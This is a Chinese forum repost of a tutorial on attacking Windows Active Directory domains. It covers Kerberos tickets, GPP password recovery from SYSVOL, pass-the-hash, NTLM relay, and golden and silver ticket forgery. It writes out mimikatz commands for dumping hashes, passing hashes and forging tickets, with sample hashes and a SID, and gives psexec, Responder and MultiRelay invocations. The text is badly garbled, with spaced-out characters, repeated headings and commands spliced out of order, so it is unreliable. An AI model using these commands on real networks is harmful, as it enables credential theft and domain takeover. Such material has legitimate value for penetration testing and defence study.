搜索

[21225] 2020-09-01_域渗透学习

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-09-01_域渗透学习 域 渗 透 学 习 L e m o n S e c   2 0 2 0 - 0 9 - 0 1 文 章 来 源 ： 安 全 鸭 一 、 一 、 K e r b e r s 协 议 协 议 N T L M 认 证 认 证 K e r b e r o s 是 一 种 由 M I T 提 出 的 一 种 计 算 机 网 络 授 权 协 议 ， 旨 在 通 过 使 用 加 密 技 术 为 客 户 端 / 服 务 端 应 用 程 序 提 供 强 大 的 认 证 服 务 。 域 内 访 问 其 他 应 用 应 遵 循 服 务 K e r b e r o s 协 议 。 完 整 的 域 内 应 用 访 问 流 程 如 图 所 示 ， 首 先 由 客 户 端 向 域 控 发 起 认 证 请 求 ， 域 控 验 证 用 户 是 否 属 于 合 法 域 用 户 ， 若 合 法 则 由 域 控 响 应 主 机 请 求 分 发 T G T 认 证 票 据 ( 黄 金 票 据 可 伪 造 T G T ) ， 拿 到 证 书 后 主 机 可 以 继 续 请 求 访 问 域 内 的 应 用 服 务 ， 若 权 限 符 合 域 控 会 返 回 允 许 主 机 访 问 域 内 某 应 用 服 务 的 T G S 票 据 ， 主 机 拿 着 T G S 票 据 访 问 对 应 的 应 用 服 务 ， 该 应 用 服 务 器 验 证 T G S 通 过 后 主 机 即 可 顺 利 访 问 应 用 服 务 -   T G T T G T 验 证 用 户 是 否 属 于 合 法 域 用 户 ， 合 法 域 控 则 分 发 T G T 认 证 票 据 。 黄 金 票 据 用 于 伪 造 T G T ， 拿 到 T G T 就 可 以 访 问 域 内 所 有 主 机 -   T G S 允 许 访 问 某 一 项 服 务 的 访 问 票 据 。 T G S 票 据 正 常 才 可 以 访 问 对 应 服 务 白 银 票 据 用 于 伪 造 T G S 。 T G T 、 T G S 票 据 具 有 时 效 性 。 票 据 通 过 对 比 N T L M   加 密 时 间 戳 h a s h 值 进 行 验 证 二 、 域 安 全 策 略 测 试 攻 击 二 、 域 安 全 策 略 测 试 攻 击 G P P ( G r o u p   P o l i c y   P r e f e r e n c e ) ： 组 策 略 偏 好 漏 洞 利 用 。 G P P 中 域 控 给 域 成 员 添 加 的 账 号 信 息 以 x m l 形 式 保 存 在 域 内 主 机 ，
可 以 直 接 读 取 x m l 文 件 拿 到 账 号 密 码 。 所 以 在 拿 下 域 内 主 机 之 后 一 定 要 打 开 访 问 域 策 略 共 享 文 件 夹 ， 可 以 看 到 拿 到 的 域 主 机 被 下 发 了 哪 些 策 略 。 通 过 这 些 策 略 可 以 获 取 更 多 相 关 域 的 信 息 。 1 . S Y S V O L S Y S V O L 是 存 储 域 公 共 文 件 服 务 器 副 本 的 共 享 文 件 夹 ， 在 域 中 所 有 的 域 控 制 器 之 间 复 制 。 S y s v o l 文 件 夹 是 安 装 A D 时 创 建 的 ， 它 用 来 存 放 G P O 、 S c r i p t 等 信 息 。 同 时 ， 存 放 在 S y s v o l 文 件 夹 中 的 信 息 会 复 制 到 域 中 所 有 D C 上 域 服 务 器 一 般 都 会 共 享 这 个 文 件 夹 , 或 者 搜 索 当 前 机 器 下 的 X M L 文 件 将 包 含 凭 据 ： 映 射 驱 动 （ D r i v e s . x m l ） 数 据 源 （ D a t a S o u r c e s . x m l ） 打 印 机 配 置 （ P r i n t e r s . x m l ） 创 建 / 更 新 服 务 （ S e r v i c e s . x m l ） 计 划 任 务 （ S c h e d u l e d T a s k s . x m l ） 由 于 经 过 身 份 验 证 的 用 户 （ 任 何 域 用 户 或 受 信 任 域 中 的 用 户 ） 具 有 对 S Y S V O L 的 读 取 权 限 。 2 . G P P 漏 洞 利 用 实 例 漏 洞 利 用 实 例 由 域 控 分 发 策 略 到 组 织 单 位 ， 然 后 利 用 G P P 获 取 敏 感 信 息 ： 2 . 1   创 建 组 策 略 创 建 组 策 略 ① 创 建 组 织 单 位 ， 将 需 要 下 发 策 略 的 用 户 移 动 到 此 单 位 。 此 时 对 x y z 组 进 行 组 策 略 下 发 ， 该 组 里 的 用 户 都 会 被 执 行 策 略 ② 在 该 组 织 单 位 下 新 建 组 策 略 对 象 ③ 编 辑 组 策 略 ， 更 新 本 地 用 户 。
至 此 成 功 在 域 控 下 发 了 一 个 组 策 略 ， 策 略 内 容 ： 创 建 x y z - t e s t 用 户 ， 密 码 为 1 2 3 . c o m 。 接 下 来 进 行 G P P 漏 洞 利 用 以 获 取 敏 感 信 息 。 2 . 2   漏 洞 利 用 漏 洞 利 用 ① 在 获 取 权 限 的 域 内 主 机 更 新 策 略 ， 使 下 发 的 策 略 生 效 ② 查 看 该 策 略 对 应 的 i d 号 ③ 寻 找 组 策 略 对 应 的 本 地 文 件 g p u p d a t e   / f o r c e
在 域 中 ， 存 在 一 个 默 认 的 共 享 路 径 ： * * S Y S V O L < D O M A I N > * * 。 所 有 域 内 主 机 都 能 访 问 ， 里 面 保 存 组 策 略 相 关 数 据 ， 包 含 登 录 脚 本 配 置 文 件 等 ④ 查 看 策 略 内 容 ， 文 件 内 容 里 面 c p a s s w o r d 项 保 存 的 是 加 密 后 的 内 容 ， 加 密 方 式 为 A E S   2 5 6 还 原 h a s h 的 方 式 可 采 用 开 源 的 p o w e r s h e l l 脚 本 ， 项 目 地 址 如 下 ： ⑤   执 行 p o w e r s h e l l 解 密 h a s h 。 将 该 c p a s s w o r d 密 码 值 放 到 p o w e r s h e l l 脚 本 里 面 然 后 执 行 脚 本 读 取 得 到 组 策 略 下 发 的 密 码 综 上 所 述 ： 拿 到 域 主 机 一 定 要 打 开 访 问 域 策 略 共 享 文 件 夹 ， 可 以 看 到 拿 到 的 域 主 机 被 下 发 了 哪 些 策 略 。 通 过 这 些 策 略 可 以 获 取 更 多 相 关 域 的 信 息 三 、 三 、 P T H   哈 希 传 递 攻 击 哈 希 传 递 攻 击 w i n d o w s   2 0 1 2 及 之 后 版 本 目 前 无 法 直 接 读 取 明 文 只 能 读 取 主 机 密 文 ， 提 权 后 读 取 域 主 机 密 文 。 然 后 通 过 爆 破 碰 撞 等 方 式 获 取 明 文 密 码 ， 但 是 不 可 控 制 因 素 比 较 大 。 此 时 也 可 利 用 P T H 哈 希 传 递 方 式 对 内 网 进 行 攻 击 。 P T H p a s s   t h e   h a s h 。 获 取 一 台 主 机 的 本 地 管 理 员 组 成 员 账 号 的 口 令 N T L M 后 ， 无 法 破 解 密 码 ， 使 用 P T H 方 法 将 管 理 员 账 号 及 N T L M 注 入 当 前 会 话 作 为 凭 据 ， 利 用 该 凭 据 可 以 渗 透 获 取 周 围 的 主 机 的 管 理 权 限 ， 如 果 对 方 存 在 相 同 账 号 及 密 码 ， 进 行 密 码 碰 撞 是 可 以 获 取 到 这 些 主 机 权 限 的 。 1 . 利 用 利 用 m i m i k a t z . e x e 读 取 本 地 读 取 本 地 h a s h 密 文 密 文 h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / m a s t e r / E x f i l t r a t i o n / G e t - G P P P a s s w o r d . p s 1 m i m i k a t z . e x e                             / / 运 行 p r i v i l e g e : : d e b u g                     / / 提 权 l s a d u m p : : l s a   / p a t c h             / / 得 到 h a s h 密 文 #   或 者 一 步 到 位 并 将 查 询 结 果 保 存 造 本 地 t x t 文 件 ：
② 利 用 拿 得 到 的 ② 利 用 拿 得 到 的 h a s h 来 连 接 域 内 其 他 目 标 机 器 来 连 接 域 内 其 他 目 标 机 器 ③ 得 到 具 有 用 户 身 份 的 ③ 得 到 具 有 用 户 身 份 的 c m d   s h e l l ， 执 行 命 令 ： ， 执 行 命 令 ： 中 继 中 继 h a s h 攻 击 攻 击 在 h a s h 无 法 解 密 的 情 况 下 也 可 以 通 过 中 继 N T L M v 2 哈 希 的 方 法 来 获 取 网 络 中 机 器 的 s h e l l 访 问 权 限 ， 获 取 h a s h 值 可 以 帮 助 攻 击 者 获 取 s h e l l 访 问 权 限 。 1 .   网 段 扫 描 网 段 扫 描 因 为 只 能 对 S M B   s i g n i n g 设 置 为 T r u e 的 机 器 发 起 攻 击 。 运 行 R u n F i n g e r . p y 脚 本 来 识 别 将 S M B s i g n i n g 设 置 为 T r u e 的 网 络 中 的 H O S T 机 器 。 R u n F i n g e r . p y 脚 本 会 预 测 I P 的 范 围 来 检 查 现 有 的 H O S T S 的 S M B s i g n i n g 是 否 启 用 。 运 行 R u n F i n g e r . p y 脚 本 的 命 令 为 ： 2 . 获 取 可 攻 击 的 主 机 获 取 可 攻 击 的 主 机 ( t r u e ) 3 . 开 启 开 启 r e s p o n d e r 监 听 监 听 m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " l s a d u m p : : l s a   / p a t c h "   e x i t   > > l o g 2 . t x t i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : p t h   / d o m a i n : s a f e - d u c k   / u s e r : a d m i n i s t r a t o r   / n t l m : f 5 0 8 2 7 2 9 3 6 5 b d a 3 f 3 4 f 5 9 8 f 9 9 b 3 3 b 2 4 2 "   e x i t   d i r   W I N - 6 J M 3 E C T M 2 C O . s a f e - d u c k . c o m c $ #   调 用 c m d p s e x e c . e x e   域 控 I P   c m d . e x e v i   / u s r / s h a r e / r e s p o n d e r / R e s p o n d e r . c o n f   # 将 S M B 和 H T T P 的 值 改 为 o f f 。 这 样 r e s p o n d e r 就 不 会 获 取 哈 希 值 ， 而 是 M u l t i r e l a y . p y 来 完 成 这 一 任 务 p y t h o n   R u n F i n g e r . p y   - i   1 9 2 . 1 6 8 . 1 . 0 / 2 4 r e s p o n d e r   - I   e t h 0
4 . 运 行 运 行 M u l t i r e l a y . p y 脚 本 ， 做 中 继 代 理 脚 本 ， 做 中 继 代 理 5 . 等 待 目 标 上 线 等 待 目 标 上 线 如 果 中 继 成 功 会 反 弹 一 个 c m d . e x e 。 这 是 利 用 失 败 的 案 例 但 是 在 日 志 里 面 已 经 获 取 到 h a s h 身 份 ， 也 不 算 全 部 失 败 ( 自 我 安 慰 ) 四 、 黄 金 票 据 攻 击 测 试 四 、 黄 金 票 据 攻 击 测 试 黄 金 票 据 攻 击 ， 是 一 种 为 任 意 用 户 生 成 T G T 票 据 的 方 法 ， 属 于 一 种 后 门 。 黄 金 票 据 生 成 ， 是 生 成 有 效 的 T G T   K e r b e r o s 票 据 ， 并 且 不 受 T G T 生 命 周 期 的 影 响 （ T G T 默 认 1 0 小 时 ， 最 多 续 订 7 天 ） ， 这 里 可 以 为 任 意 用 户 生 成 黄 金 票 据 ， 然 后 为 域 管 理 员 生 成 T G T ， 这 样 普 通 用 户 就 可 以 变 成 域 管 理 员 。 黄 金 票 据 的 制 作 条 件 ： 黄 金 票 据 的 制 作 条 件 ： 1 . 域 名 称 2 . 域 的 S I D 3 . 域 控 的 K r b t g t 账 户 的 密 码 h a s h 值 4 . 任 意 域 用 户 名 制 作 T G T 票 据 需 要 获 取 K r b t g t 账 户 的 密 码 h a s h ， 而 K r b t g t 账 户 的 密 码 h a s h 存 储 在 域 控 上 。 因 此 黄 金 票 据 攻 击 测 试 本 身 就 是 个 无 解 的 死 循 环 ， 所 以 他 并 不 是 一 种 普 通 的 攻 击 方 式 ， 该 攻 击 方 式 其 实 是 一 种 后 门 的 形 式 ， 属 于 第 二 次 进 行 攻 击 的 方 法 ， 第 一 次 拿 到 域 管 权 限 之 后 ， 需 要 将 k r b t g t   h a s h 进 行 保 存 ， 当 第 二 次 再 来 进 行 渗 透 攻 击 时 ， 我 们 就 可 以 使 用 该 h a s h 制 作 黄 金 票 据 ， 从 而 获 得 管 理 员 权 限 。 当 然 也 可 以 通 过 抓 取 / 嗅 探 等 方 式 获 取 k r b t s t 的 h a s h 进 行 常 规 的 攻 击 。 p y t h o n   M u l t i R e l a y . p y   - t   1 9 2 . 1 6 8 . 1 . 1 1   - u   A L L   参 考 ： h t t p s : / / x z . a l i y u n . c o m / t / 3 5 6 0 k l i s t                           # 查 看 当 前 拥 有 的 票 据 k l i s t   p u r g e           # 清 空 票 据
1 . 获 取 票 据 伪 造 所 需 要 的 获 取 票 据 伪 造 所 需 要 的 T G T 信 息 信 息 。 获 取 获 取 k r b t s t 的 的 h a s h ， 这 里 是 直 接 在 域 控 里 面 看 的 。 实 际 情 况 就 是 上 面 说 的 无 解 死 ， 这 里 是 直 接 在 域 控 里 面 看 的 。 实 际 情 况 就 是 上 面 说 的 无 解 死 循 环 循 环 2 . 获 取 域 的 获 取 域 的 s i d 信 息 ： 在 已 经 拿 下 的 域 主 机 获 取 执 行 命 令 信 息 ： 在 已 经 拿 下 的 域 主 机 获 取 执 行 命 令 得 到 ： S - 1 - 5 - 2 1 - 4 0 6 5 9 0 5 6 6 8 - 3 8 1 4 8 6 6 3 8 5 - 3 2 5 9 4 3 3 7 8 8 3 . m i m i k a t z 工 具 伪 造 黄 金 票 据 ： 工 具 伪 造 黄 金 票 据 ： m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " l s a d u m p : : l s a   / p a t c h "   e x i t   >   1 . t x t w h o a m i   / a l l m i m i k a t z . e x e   " k e r b e r o s : : g o l d e n   / u s e r : w i n 7   / d o m a i n : s a f e - d u c k . c o m   / s i d : S - 1 - 5 - 2 1 - 4 0 6 5 9 0 5 6 6 8 - 3 8 1 4 8 6 6 3 8 5 - 3 2 5 9 4 3 3 7 8 8   / k r b t g t : c 4 a f 8 3 0 c d 0 e e 1 9 d 8 9 3 c 6 5 2 a 3 a d 9 f 8 8 b 7   / p t t "   e x i t # 伪 造 成 功 ， 查 看 票 据 k l i s t
4 . 查 看 共 享 查 看 共 享 5 . 利 用 利 用 p s e x e c   调 用 目 标 域 控 制 器 的 调 用 目 标 域 控 制 器 的 c m d d i r   W I N - 6 J M 3 E C T M 2 C O . s a f e - d u c k . c o m c $ P s E x e c . e x e   W I N - 6 J M 3 E C T M 2 C O . s a f e - d u c k . c o m   c m d . e x e
五 、 白 银 票 据 攻 击 测 试 五 、 白 银 票 据 攻 击 测 试 1 . 获 取 域 控 的 设 备 名 称 获 取 域 控 的 设 备 名 称 2 . 获 取 域 的 获 取 域 的 s i d 3 . 获 取 域 控 的 获 取 域 控 的 h a s h ( 死 循 环 第 二 季 死 循 环 第 二 季 ) 4 . 域 内 主 机 伪 造 白 银 票 据 域 内 主 机 伪 造 白 银 票 据 w h o a m i   / a l l m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : l o g o n p a s s w o r d s "   e x i t   >   2 . t x t m i m i k a t z . e x e   " k e r b e r o s : : g o l d e n   / u s e r : w i n 7   / d o m a i n : s a f e - d u c k . c o m   / s i d : S - 1 - 5 - 2 1 - 4 0 6 5 9 0 5 6 6 8 - 3 8 1 4 8 6 6 3 8 5 - 3 2 5 9 4 3 3 7 8 8   / t a r g e t : W I N - 6 J M 3 E C T M 2 C O . s a f e - d u c k . c o m   / s e r v i c e : c i f s   / r c 4 : 9 f 1 e d 1 6 0 f 3 d f f 1 0 b a 8 1 1 0 9 c b a f 1 9 f 5 f c   / p t t "   e x i t
5 . 票 据 注 入 成 功 票 据 注 入 成 功 6 . p s e x e c   调 用 目 标 域 控 制 器 的 调 用 目 标 域 控 制 器 的 c m d P s E x e c . e x e   W I N - 6 J M 3 E C T M 2 C O . s a f e - d u c k . c o m   c m d . e x e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理